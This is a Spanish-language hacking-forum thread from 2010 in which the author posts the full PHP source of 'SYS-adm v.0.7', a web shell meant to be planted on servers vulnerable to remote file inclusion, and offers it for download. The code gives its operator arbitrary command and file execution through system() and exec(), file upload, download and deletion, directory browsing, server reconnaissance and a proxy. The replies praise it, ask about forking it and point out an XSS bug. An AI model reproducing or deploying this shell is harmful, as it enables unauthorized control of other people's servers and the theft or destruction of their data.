elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Entrar al Canal Oficial Telegram de elhacker.net


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Análisis y Diseño de Malware
| | |-+  Abril negro (Moderadores: Man-In-the-Middle, WHK, kub0x, fary)
| | | |-+  [Abril negro][src][PHP] SYS-adm v.0.7 - shell php		0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [Abril negro][src][PHP] SYS-adm v.0.7 - shell php  (Leído 8,171 veces)
b10s_0v3rr1d3

Desconectado Desconectado

Mensajes: 185

si puede hacerse debe hacerse


Ver Perfil WWW
[Abril negro][src][PHP] SYS-adm v.0.7 - shell php
« en: 30 Abril 2010, 01:21 am »
SYS-adm v.0.7 - shell php

despues de un time pensando si presentarme o no, voy a probar a ver que tal....
presento un pequeño script para poder llevar a cabo algunas acciones de forma remota en un server vulnerable tipo RFI....

-> Sobre el script
tiene distintas funcionalidades, como son:

[+] informacion sobre el server remoto (tipo de OS, estado del safemode, usuario....)
[+] un pequeño "proxy" interno (permite navegar de forma remota utilizando el script, se tiene que indicar el tipo de protocolo ya sea http o ftp)
[+] listado de directorios (pues eso, lista los directorios por donde nos podemos mover)
[+] navegacion por directorios, descarga y/o eliminacion de archivos (permite moverse por los distintos directorios que hay, como tambien la descarga o eliminacion de un archivo)
[+] subida de archivos
[+] creacion y/o eliminacion de un directorio (se muestra en una caja de texto la ruta actual donde nos encontramos)
[+] permite la ejecucion de comandos como tambien de ficheros

-> problemas

de los problemas que hay, el que mas problemas da es el tema del usuario y permisos que este posee.
en el momento de crear directorios, eliminar directorios/archivos, ejecutar comandos y archivos (aunque en algunos apartados se muestran avisos si hay activo el safemode y se alerta sobre el tema de los permisos) no lo permite o se puede ver que no hace la accion que se le dice.

otro problema esta en el momento de descargar los archivos, el nombre que da a dicho archivo suele ser la ruta completa hacia este y con el caracter [_] de separador (por ejemplo en un OS win$ hay un archivo a descargar en C:\asdf.exe lo muestra como "C__asdf.exe"), pero permite descargarlos (en alguna ocasion quita la extension del archivo, pero con ponersela cuando lo tenemos descargado funciona).

cuando se elimina un directorio se tiene que encontrar vacio, otro problema

tambien en el momento de subir un archivo, lo sube en el directorio donde se encuentra el script en lugar de hacerlo en el actual donde estamos O.o

-> source

Código
  1. <?php
  3. #modificamos el time final de ejecucion del script
  4. @set_time_limit(0); //indefinido
  5.  
  6. #si hemos seleccionado el boton para descarga....
  7. if(isset($_POST['down'])){
  8. 	if(isset($_POST['file'])){
  9. 		#descargamos el fichero que hemos seleccionado
  10. 		header( "Content-Type: application/octet-stream");  
  11. 		header( "Content-Length: ".filesize($_POST['file']));  
  12. 		header( "Content-Disposition: attachment; filename=".$_POST['file']."");  
  13. 		readfile($_POST['file']); 
  14. 	}
  15. }else if(isset($_POST['delete'])){
  16. 	if(isset($_POST['file'])){
  17. 		#borramos el fichero que hemos seleccionado
  18. 		unlink($_POST['file']);
  19. 	}
  20. }
  21.  
  22. #ejecutamos el archivo segun lo que haya introducido el usuario
  23. if(isset($_POST['exefile'])){
  24. 	if(isset($_POST['strg_file'])){
  25. 		exec($_POST['strg_file']);
  26. 	}
  27. }
  28.  
  29. #variable que se utilizara para ver en que OS nos encontramos
  30. $OS = strtolower(substr(PHP_OS, 0, 3));
  31.  
  32. /****************************************************************/
  33. #estilos css aplicados en la shell
  34. echo '<style type="text/css">';
  35. echo 'body{color: #FFFFFF;background-color: #000000;font-family: Courier New;}';
  36. echo 'a{color: #FF0000;text-decoration: none;}';
  37. echo 'a:hover{color: #00FF00;text-decoration: underline overline;}';
  38. echo 'input{color: #FFFFFF;background-color: #000000;border: 1px solid #FF0000;}';
  39. echo '#header{margin-bottom: 5px;margin-left: 20px;margin-right :20px;border-left: 2px dashed #00FF00;border-right: 2px dashed #00FF00;border-bottom: 2px dashed #00FF00;padding: 5px;background-color: #222222;text-align: center;}';
  40. echo 'iframe{margin: 5px;}';
  41. echo '#proxy{border-left: 1px solid #FF0000;border-right: 1px solid #FF0000;border-bottom: 1px solid #FF0000;background-color: #333333;padding: 5px;margin-left: 5px;margin-right: 5px;margin-bottom: 5px;text-align: center;}';
  42. echo '#info{border: 1px solid #FF0000;background-color: #333333;padding: 5px;margin: 5px;text-align: center;}';
  43. echo '.title{border-top: 1px solid #FF0000;border-left: 1px solid #FF0000;border-right: 1px solid #FF0000;background-color: #333333;padding: 5px;margin-top: 5px;margin-left: 5px;margin-right: 5px;text-align: center;}';
  44. echo '#list{border-bottom: 1px solid #FF0000;border-left: 1px solid #FF0000;border-right: 1px solid #FF0000;background-color: #333333;padding: 5px;padding-left: 20px;margin-bottom: 5px;margin-left: 5px;margin-right: 5px;}';
  45. echo '#list td{vertical-align: top;}';
  46. echo '#list a{color: #77FF77;text-decoration: none;}';
  47. echo '#list a:hover{color: #00FF00;text-decoration: underline overline;}';
  48. echo '#footer{border: 1px solid #FF0000;background-color: #333333;padding: 5px;margin: 5px;text-align: center;}';
  49. echo '.time{position: right;}';
  50. echo '</style>';
  51. /****************************************************************/
  52.  
  53. #subimos ficheros en el servidor
  54. if(isset($_FILES['file'])){
  55. 		$dest = getcwd(); //directorio donde nos encontramos
  56. 		move_uploaded_file($_FILES['file']['tmp_name'],$dest.'/'.$_FILES['file']['name']); //movemos el archivo del directorio temporal al directorio final donde nos encontramos actualmente ejecutando el script
  57. }
  58. #recuperamos la url que ha introducido el usuario y lo añadimos en el proxy
  59. if(isset($_POST['url'])){
  60. 	$url = $_POST['url'];
  61. }
  62. #recuperamos el directorio actual que enviamos por parametro
  63. if(isset($_GET['directory'])){
  64. 		chdir($_GET['directory']);
  65. 		$dir = getcwd();
  66. }else{
  67. //obtenemos el directorio actual y mostramos la lista
  68. 	$dir = getcwd();
  69. }
  70. #funcion para mostrar los permisos de cada fichero y directorio (reutilizada manual oficial)
  71. function permissions($perms){
  72.  
  73. if (($perms & 0xC000) == 0xC000) {// Socket
  74.     $info = 's';
  75. } elseif (($perms & 0xA000) == 0xA000) {// Symbolic Link
  76.     $info = 'l';
  77. } elseif (($perms & 0x8000) == 0x8000) {// Regular
  78.     $info = '-';
  79. } elseif (($perms & 0x6000) == 0x6000) {// Block special
  80.     $info = 'b';
  81. } elseif (($perms & 0x4000) == 0x4000) {// Directory
  82.     $info = 'd';
  83. } elseif (($perms & 0x2000) == 0x2000) {// Character special
  84.     $info = 'c';
  85. } elseif (($perms & 0x1000) == 0x1000) {// FIFO pipe
  86.     $info = 'p';
  87. } else {// Unknown
  88.     $info = 'U';
  89. }
  90. // Owner
  91. $info .= (($perms & 0x0100) ? 'r' : '-');
  92. $info .= (($perms & 0x0080) ? 'w' : '-');
  93. $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-'));
  94. // Group
  95. $info .= (($perms & 0x0020) ? 'r' : '-');
  96. $info .= (($perms & 0x0010) ? 'w' : '-');
  97. $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-'));
  98. // World
  99. $info .= (($perms & 0x0004) ? 'r' : '-');
  100. $info .= (($perms & 0x0002) ? 'w' : '-');
  101. $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-'));
  102.  
  103. 	return $info;
  104.  
  105. }
  106. #creamos el nuevo directorio que el usuario a introducido o lo eliminamos
  107. if(isset($_POST['create'])){
  108. 	if(isset($_POST['direct'])){
  109. 		@mkdir($_POST['direct']);
  110. 	}
  111. }else if(isset($_POST['drop'])){
  112. 	if(isset($_POST['direct'])){
  113. 		@rmdir($_POST['direct']);
  114. 	}
  115. }
  116. /****************************************************************/
  117.  
  118. #estructura de la pagina web que mostraremos al usuario
  119. echo '<html>';
  120. echo '<head>';
  121. #titulo de la pagina
  122. echo '<title>.: SYS-adm v.0.7 :: c0d3-l4bs :.</title>';
  123. echo '</head>';
  124.  
  125. /*********************************************************/
  126. /**************parte central de la pagina*****************/
  127. /*********************************************************/
  128. echo '<body>';
  129.  
  130. echo '<div id="header">';
  131. # header con el logo
  132. echo '8""""8&nbsp;8&nbsp;&nbsp;&nbsp;&nbsp;8&nbsp;8""""8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<b>v.0.7&nbsp;&nbsp;[<a href="http://c0d3-l4bs.blogspot.com">c0d3-l4bs</a>]</b><br />';
  133. echo '8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;8&nbsp;&nbsp;&nbsp;&nbsp;8&nbsp;8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;eeeee&nbsp;eeeee&nbsp;eeeeeee&nbsp;<br />';
  134. echo '8eeeee&nbsp;8eeee8&nbsp;8eeeee&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;8&nbsp;&nbsp;&nbsp;8&nbsp;8&nbsp;&nbsp;&nbsp;8&nbsp;8&nbsp;&nbsp;8&nbsp;&nbsp;8&nbsp;<br />';
  135. echo '&nbsp;&nbsp;&nbsp;&nbsp;88&nbsp;&nbsp;&nbsp;88&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;88&nbsp;eeee&nbsp;8eee8&nbsp;8e&nbsp;&nbsp;8&nbsp;8e&nbsp;8&nbsp;&nbsp;8&nbsp;<br />';
  136. echo 'e&nbsp;&nbsp;&nbsp;88&nbsp;&nbsp;&nbsp;88&nbsp;&nbsp;&nbsp;e&nbsp;&nbsp;&nbsp;88&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;88&nbsp;&nbsp;8&nbsp;88&nbsp;&nbsp;8&nbsp;88&nbsp;8&nbsp;&nbsp;8&nbsp;<br />';
  137. echo '8eee88&nbsp;&nbsp;&nbsp;88&nbsp;&nbsp;&nbsp;8eee88&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;88&nbsp;&nbsp;8&nbsp;88ee8&nbsp;88&nbsp;8&nbsp;&nbsp;8&nbsp;';
  138. echo '';
  139. echo '</div>';
  140.  
  141. echo '<div id="info">'; //div principal que contendra toda la informacion perteneciente al server remoto
  142. echo '-> <b>Server Info</b> <-<br /><br />';
  143. if($OS == 'win'){ //si el OS es un sistema win$
  144. $chr = '\\';
  145. echo 'Server OS -> <b><u>'.php_uname().'</u></b> [<b><font color="#FF0000"><u>'.getenv('OS').'</u></font></b>]'; //OS del servidor remoto
  146. echo '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Computer Name -> <b><u>'.getenv('computername').'</u></b><br />'; //nombre del pc donde nos encontramos
  147. echo 'User name -> <b><u>'.getenv('username').'</u></b>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Profile -> <b><u>'.getenv('userprofile').'</u></b><br />'; //nombre de usuario en el que estamos y el perfil
  148. echo 'Software -> <b><u>'.getenv('server_software').'</u></b><br />'; //software utilizado en el servidor remoto
  149. echo 'Server IP -> <b><u>'.getenv('server_addr').':['.getenv('server_port').']</u></b>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Your IP -> <b><u>'.getenv('remote_addr').':['.getenv('remote_port').']</u></b><br />'; //ip + puerto del servidor y del usuario
  150.  
  151. #comprobamos si el safemode esta activo o no en el sistema
  152. if(@ini_get('safe_mode') or strtolower(@ini_get('safe_mode')) == 'on'){
  153. 	$sfmod = '<b><u><font color="#FF0000">[ON]</font></u></b>';
  154. }else{
  155. 	$sfmod = '<b><u><font color="#00FF00">[OFF]</font></u></b>';
  156. }
  157. /***********************************************************************/
  158.  
  159. echo 'Safe mode -> '.$sfmod.'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Document root -> <b><u>'.getenv('document_root').'</u></b><br />'; //modo seguro del php y directorio del apache
  160. echo 'PHP version -> <b><u>'.phpversion().'</u></b><br />'; //version del php
  161. echo 'Script url -> <b><u>'.getenv('request_uri').'</u></b>'; //ruta del script
  162.  
  163. }else{ //OS unix like - gnu/linux
  164. $chr = '/'; //caracter utilizado en el momento de mostrar rutas y demas
  165.  
  166. $inf = posix_getpwuid(posix_getuid()); //obtenemos la informacion
  167. echo 'Server OS -> <b><u>'.php_uname().'</u></b><br />'; //OS del servidor remoto
  168. echo 'User name -> <b><u>'.$inf['name'].'</u></b>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Profile -> <b><u>'.$inf['dir'].'</u></b><br />'; //nombre de usuario en el que estamos y el perfil
  169. echo 'Software -> <b><u>'.getenv('server_software').'</u></b><br />'; //software utilizado en el servidor remoto
  170. echo 'Server IP -> <b><u>'.getenv('server_addr').':['.getenv('server_port').']</u></b>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Your IP -> <b><u>'.getenv('remote_addr').':['.getenv('remote_port').']</u></b><br />'; //ip + puerto del servidor y del usuario
  171.  
  172. #lo mismo que anteriormente, comprobamos si esta on o off el safemode
  173. if(@ini_get('safe_mode') or strtolower(@ini_get('safe_mode')) == 'on'){
  174. 	$sfmod = '<b><u><font color="#FF0000">[ON]</font></u></b>';
  175. }else{
  176. 	$sfmod = '<b><u><font color="#00FF00">[OFF]</font></u></b>';
  177. }
  178. /**************************************************************************/
  179.  
  180. echo 'Safe mode -> '.$sfmod.'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Document root -> <b><u>'.getenv('document_root').'</u></b><br />'; //modo seguro del php y directorio del apache
  181. echo 'PHP version -> <b><u>'.phpversion().'</u></b><br />'; //version del php
  182. echo 'Script url -> <b><u>'.getenv('request_uri').'</u></b>'; //ruta del script
  183. }
  184.  
  185. echo '</div>'; //fin del div que contiene la informacion
  186. /***************************************************************************/
  187.  
  188. /***************************************************************************/
  189. #apartado donde se utilizara el "proxy" de la shell
  190. echo '<div class="title">';
  191. echo '-> <b>SYS-adm Proxy</b> <-<br /><br />';
  192. echo '[NOTE -> add http:// or ftp:// to specify protocol]';
  193. echo '</div>';
  194. echo '<div id="proxy">';
  195.  
  196. #formulario para el envio de enlaces al "proxy" de la shell
  197. if(!isset($url)){
  198. echo '<form action="" method="post">';
  199. echo '<input type="text" name="url" size="100" />&nbsp;';
  200. echo '<input type="submit" value="Browse" />';
  201. echo '</form>';
  202. }elseif(isset($url)){
  203. echo '<form action="" method="post">';
  204. echo '<input type="text" name="url" size="100" value="'.$url.'" />&nbsp;';
  205. echo '<input type="submit" value="Browse" />';
  206. echo '</form>';
  207.  
  208. #mostramos la url que nos envia el usuario en el formulario
  209. echo '    <iframe src="'.$url.'" width="95%" height="500" scrolling="auto">';
  210. 	#en caso de no tener operativo los iframes el navegador....
  211. echo '      <p><font color="#FF0000">This browser can\'t support iframes!!</font></p>'; 
  212. echo '    </iframe>';
  213. }
  214. echo '</div>'; //fin del apartado de "proxy"
  215. /************************************************************************/
  216.  
  217. #apartado donde mostraremos el listado de directorio
  218. echo '<div>';
  219. echo '<div class="title">';
  220. echo '-> <b>Directory List</b> <-<br /><br />';
  221. echo '</div>';
  222. echo '<div id="list">';
  223. echo '<b>'.$dir.'</b>&nbsp;&nbsp;&nbsp;';
  224. echo '<font color="#BB8800">[<b>'.permissions(fileperms($dir)).'</b>]</font>'; //mostramos los permisos del directorio actual
  225. $files = array(); //array donde meteremos el listado
  226. echo '<br />';
  227. //tabla donde se muestran los distintos apartados, primeramente los titulos
  228. echo '<table width="100%">';
  229. echo '<tr>';
  230. echo '<td width="35%">';
  231. echo '<b>Name</b>';
  232. echo '</td>';
  233. echo '<td align="center" width="15%">';
  234. echo '<b>Size</b>';
  235. echo '</td>';
  236. echo '<td align="center" width="15%">';
  237. echo '<b>Last modified</b>';
  238. echo '</td>';
  239. echo '<td align="center" width="15%">';
  240. echo '<b>Permissions</b>';
  241. echo '</td>';
  242. echo '<td width="20%">';
  243. echo '<b>File actions</b>';
  244. echo '</td>';
  245. echo '</tr>';
  246.  
  247. #mostramos los distintos files/directories como la info sobre su "size", permisos....
  248. if(is_dir($dir)){ //comprobamos que el directorio actual es un directorio
  249. 	if($dd = opendir($dir)){
  250. 		while(($elem = readdir($dd)) !== false){
  251. 			if(is_dir($elem)){ //si es un directorio lo mostramos por pantalla
  252. 				echo '<tr><td class="files">';
  253. 				echo '<a href="'.basename($_SERVER['PHP_SELF']).'?directory='.getcwd().'/'.$elem.'"><font color="#7777FF">'.$elem.'</font></a>'; //link para movernos hacia el directorio en question
  254. 				echo '</td>';
  255. 				echo '<td align="right">';
  256. 				echo '<font color="#7777FF">['.filetype($elem).']</font>'; //tipo de file (en este caso son directorios primero)
  257. 				echo '</td>';
  258. 				echo '<td align="right">';
  259. 				echo date('Y/m/d H:i:s',filemtime($elem)); //ultima modificacion
  260. 				echo '</td>';
  261. 				echo '<td align="center">';
  262. 				echo '<font color="#BB8800"><b>'.permissions(fileperms($elem)).'</b></font>'; //permisos de dicho dir
  263. 				echo '</td>';
  264. 				echo '</tr>';
  265. 			}else{
  266. 				$files[] = $elem;
  267. 			}
  268. 		}
  269. 		for($x = 0;$x < count($files);$x++){ //mostramos los archivos
  270. 			echo '<tr><td>';
  271. 			echo '<font color="#77FF77">'.$files[$x].'</font>';
  272. 			echo '</td>';
  273. 			echo '<td align="right">';
  274. 			#mostramos el size del archivo, si es excesivo mostramos un aviso
  275. 			if(eregi('-',(filesize($files[$x])/1024))){
  276. 				echo '<font color="#BB8800"> filesize &gt; 4</font><font color="#FF0000"> GB</font>';
  277. 			}else{
  278. 				echo '<font color="#BB8800">'.number_format((filesize($files[$x])/1024),3).'</font><font color="#FF0000"> KB</font>';
  279. 			}
  280.  
  281. 			echo '</td>';
  282. 			echo '<td align="right">';
  283. 			echo date('Y/m/d H:i:s',filemtime($files[$x])); //fecha de modificacion
  284. 			echo '</td>';
  285. 			echo '<td align="center">';
  286. 			echo '<font color="#BB8800"><b>'.permissions(fileperms($files[$x])).'</b></font>'; //permisos del archivo
  287. 			echo '</td>';
  288. 			echo '<td>';
  289. 			echo '<form action="'.$_SERVER['PHP_SELF'].'" method="post">';
  290. 			echo '<input type="hidden" name="file" value="'.$dir.$chr.$files[$x].'" />';//campo oculto
  291. 			echo '<input type="submit" name="down" value="Download" />&nbsp;';
  292. 			echo '<input type="submit" name="delete" value="Remove" />';
  293. 			echo '</form>';
  294. 			echo '</td>';
  295. 			echo '</tr>';
  296. 		}
  297. 	}
  298. 	closedir($dd); //cerramos el directorio
  299. }
  300. echo '</table>'; //terminamos la tabla
  301. echo '</div>';
  302. echo '</div>';
  303. //final del apartado de listado de directorios
  304.  
  305. #apartado para la subida de archivos
  306. echo '<div id="info">';
  307. echo '-> <b>File manager</b> <-<br /><br />';
  308. echo '<table align="center" size="75%">';
  309. echo '<tr><td colspan="3" align="center">';
  310. //formulario para el envio de archivos
  311. echo '<form action="./'.basename($_SERVER['PHP_SELF']).'" method="post" enctype="multipart/form-data">';
  312. echo '<input type="file" name="file" />&nbsp;';
  313. echo '<input type="submit" name="submit" value="upload" />';
  314. echo '</form>';
  315.  
  316. echo '</td></tr>';
  317. //formulario para la creacion de directorios o su eliminacion
  318. echo '<form action="./'.basename($_SERVER['PHP_SELF']).'" method="post">';
  319. echo '<tr>';
  320. echo '<td>';
  321. echo '<input type="text" size="100%" name="direct" value="'.$dir.$chr.'" />'; //mostramos la ruta actual
  322. echo '</td>';
  323. echo '<td>&nbsp;</td>';
  324. echo '<td>';
  325. echo '<input type="submit" name="create" value="Create Directory" />&nbsp;';
  326. echo '<input type="submit" name="drop" value="Delete Directory" />';
  327. echo '</td>';
  328. echo '</tr>';
  329. echo '<tr><td>&nbsp;</td></tr>';
  330. echo '</form>';
  331.  
  332. echo '</table>';
  333. echo 'NOTE -> to delete any directory, this must be empty and to do different actions, alert with permissions';
  334. echo '</div>';
  335. #final del apartado de subida de archivos modificacion de directorios
  336.  
  337. #apartado para la ejecucion de comandos o archivos
  338. echo '<div id="info">';
  339. echo '-> <b>Process Manager</b> <-';
  340. echo '<br /><br />';
  341.  
  342. #mostramos el resultado de la ejecucion de un comando si se ha enviado anteriormente
  343. if(isset($_POST['exe'])){
  344. 	if(isset($_POST['strg_com'])){
  345. 		echo system($_POST['strg_com']);
  346. 	}
  347. }
  348.  
  349. #permitimos la ejecucion de comandos y/o archivos en caso de estar inactivo el safe mode
  350. if($OS == 'win'){ //sistema win$
  351. 	if(eregi('off',$sfmod)){
  352. 		#mostramos los procesos en caso de estar inactivo
  353. 		echo '<table align="center">';
  354. 		echo '<form action="./'.basename($_SERVER['PHP_SELF']).'" method="post">';
  355. 		echo '<tr><td>';
  356. 		echo '<input type="text" size="50" name="strg_com" />&nbsp;';
  357. 		echo '<input type="submit" name="exe" value="Execute command" />'; //apartado para la ejecucion de un comando
  358. 		echo '</td></tr>';
  359.  
  360. 		echo '<br /><br />';
  361.  
  362. 		echo '<tr><td>';
  363. 		echo '<input type="text" size="50" name="strg_file" value="'.$dir.$chr.'" />&nbsp;';
  364. 		echo '<input type="submit" name="exefile" value="Execute file" />'; //apartado para la ejecucion de un archivo
  365. 		echo '</tr></td>';
  366. 		echo '</form>';
  367.  
  368. 		echo '</table>';
  369. 	}else{
  370. 		#mostramos una alerta en caso de estar activo
  371. 		echo '<font color="#FF0000">Alert, safe mode is active...</font>';
  372. 		echo '<br />';
  373. 	}
  374. }else{ //gnu/linux - unix like, lo mismo que el apartado anterior
  375. 	if(eregi('off',$sfmod)){
  376. 		#mostramos los procesos en caso de estar inactivo
  377. 		echo '<table align="center">';
  378. 		echo '<form action="./'.basename($_SERVER['PHP_SELF']).'" method="post">';
  379. 		echo '<tr><td>';
  380. 		echo '<input type="text" size="50" name="strg_com" />&nbsp;';
  381. 		echo '<input type="submit" name="exe" value="Execute command" />'; //para los comandos
  382. 		echo '</td></tr>';
  383.  
  384. 		echo '<br /><br />';
  385.  
  386. 		echo '<tr><td>';
  387. 		echo '<input type="text" size="50" name="strg_file" value="'.$dir.$chr.'" />&nbsp;';
  388. 		echo '<input type="submit" name="exefile" value="Execute file" />'; //para los archivos
  389. 		echo '</tr></td>';
  390. 		echo '</form>';
  391. 		echo '</table>';
  392. 		echo 'NOTE -> Alert with user permissions';
  393. 		echo '<br />';
  394. 	}else{
  395. 		#mostramos una alerta en caso de estar activo la proteccion
  396. 		echo '<font color="#FF0000">Alert, safe mode is active...</font>';
  397. 		echo '<br />';
  398. 	}
  399. }
  400. echo '<br />';
  401. echo '</div>';
  402. #pie de pagina, donde mostramos la hora y demas
  403. echo '<div id="footer">';
  404. echo '-> <b>b10s_0v3rr1d3 '.chr(135).' SYS-adm v.0.7 [<a href="http://c0d3-l4bs.blogspot.com">c0d3-l4bs</a>] </b><font color="#00FF00"> '.date('d/m/Y H:i:s').' </font><-';
  405. echo '</div>';
  406. echo '</body>';
  407. /*********************************************************/
  408. /********terminamos la parte central de la pagina*********/
  409. /*********************************************************/
  410.  
  411. echo '</html>';
  412. //final de la pagina/shell
  413. ?>
  414.  

en el codigo hay comentarios en los distintos apartados para que se pueda ver que se hace en cada uno de los apartados.
se han hecho pruebas y funciona en php5
en el siguiente enlace se puede descargar:

http://www.megaupload.com/?d=J95A6WF0

pequeña captura:



se van haciendo modificaciones para su mejora y demas, si hay algun comentario, mejoras y demas criticas comenten.
nos leemos :P
« Última modificación: 30 Abril 2010, 01:24 am por b10s_0v3rr1d3 » En línea
Zzombi

Desconectado Desconectado

Mensajes: 174



Ver Perfil WWW
Re: [Abril negro][src][PHP] SYS-adm v.0.7 - shell php
« Respuesta #1 en: 30 Abril 2010, 01:53 am »
se ve bien... solo que ya no es facil encontra una web vulnerable a RFI  :-\
En línea
E.P.I.


Desconectado Desconectado

Mensajes: 346


elprogramadorinformatico [E.P.I.]


Ver Perfil WWW
Re: [Abril negro][src][PHP] SYS-adm v.0.7 - shell php
« Respuesta #2 en: 30 Abril 2010, 20:59 pm »
¡Adoremos al gran señor! Muy bueno  :o

Saludos  :P
En línea
La verdad nos hará libres
KaozC9

Desconectado Desconectado

Mensajes: 18



Ver Perfil
Re: [Abril negro][src][PHP] SYS-adm v.0.7 - shell php
« Respuesta #3 en: 1 Mayo 2010, 18:50 pm »
que licencia tiene? digo puedo modificarla y sacar un fork? (mi flojera es muy grande en estos momentos xd para programar todo desde 0 xD)
En línea
b10s_0v3rr1d3

Desconectado Desconectado

Mensajes: 185

si puede hacerse debe hacerse


Ver Perfil WWW
Re: [Abril negro][src][PHP] SYS-adm v.0.7 - shell php
« Respuesta #4 en: 6 Mayo 2010, 00:46 am »

como el codigo esta abierto, no hay mucha cosa mas a decir sobre la licencia.
En línea
Azielito
no es
Colaborador
***
Desconectado Desconectado

Mensajes: 9.188


>.<


Ver Perfil WWW
Re: [Abril negro][src][PHP] SYS-adm v.0.7 - shell php
« Respuesta #5 en: 6 Mayo 2010, 21:23 pm »
tiene un bugcito de XSS

X)

supongo que eso depende de la version de PHP que estes usando, pero aun as hay que cuidar eso x)
« Última modificación: 6 Mayo 2010, 21:26 pm por Azielito » En línea
b10s_0v3rr1d3

Desconectado Desconectado

Mensajes: 185

si puede hacerse debe hacerse


Ver Perfil WWW
Re: [Abril negro][src][PHP] SYS-adm v.0.7 - shell php
« Respuesta #6 en: 7 Mayo 2010, 00:49 am »

grax por el comentario, tomo nota para prevenir el fallo :P
En línea
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Abril Negro (JSP Shell)
Abril negro 		Panic:~ 0 3,275 Último mensaje 7 Abril 2017, 02:58 am
por Panic:~
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines